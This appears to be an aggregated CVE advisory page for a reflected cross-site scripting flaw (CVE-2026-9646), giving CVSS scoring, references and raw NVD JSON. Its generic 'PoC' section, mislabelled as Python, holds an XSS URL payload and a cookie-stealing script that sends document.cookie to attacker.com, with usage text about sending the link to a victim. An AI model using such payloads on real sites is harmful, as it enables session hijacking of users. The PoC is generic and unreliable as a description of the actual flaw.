CVE-2026-9646

Description

A reflected cross-site scripting issue exists in URL handling.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

版本信息未在描述中明确提及

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Proof of Concept (PoC) for Reflected XSS in URL Handling
Target: Generic Vulnerable Endpoint
Usage: Replace 'target-site.com' with the actual domain and send the link to a victim.
-->

<!-- PoC URL -->
<!-- http://target-site.com/search?q=<script>alert(document.cookie)</script> -->

<!-- HTML Simulation of the Vulnerable Response -->
<div class="search-results">
    <p>You searched for: <script>alert(document.cookie)</script></p>
</div>

<!-- JavaScript Payload to Steal Cookies (Example) -->
<!-- 
http://target-site.com/search?q=<script>fetch('http://attacker.com/?c='+document.cookie)</script>
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9646
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9646
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9646/
[4] VulDB https://vuldb.com/cve/CVE-2026-9646
[5] https://www.tenable.com/security/research/tra-2026-46

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9646", "sourceIdentifier": "[email protected]", "published": "2026-05-28T21:16:35.087", "lastModified": "2026-05-28T21:16:35.087", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting issue exists in URL handling."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://www.tenable.com/security/research/tra-2026-46", "source": "[email protected]"}]}}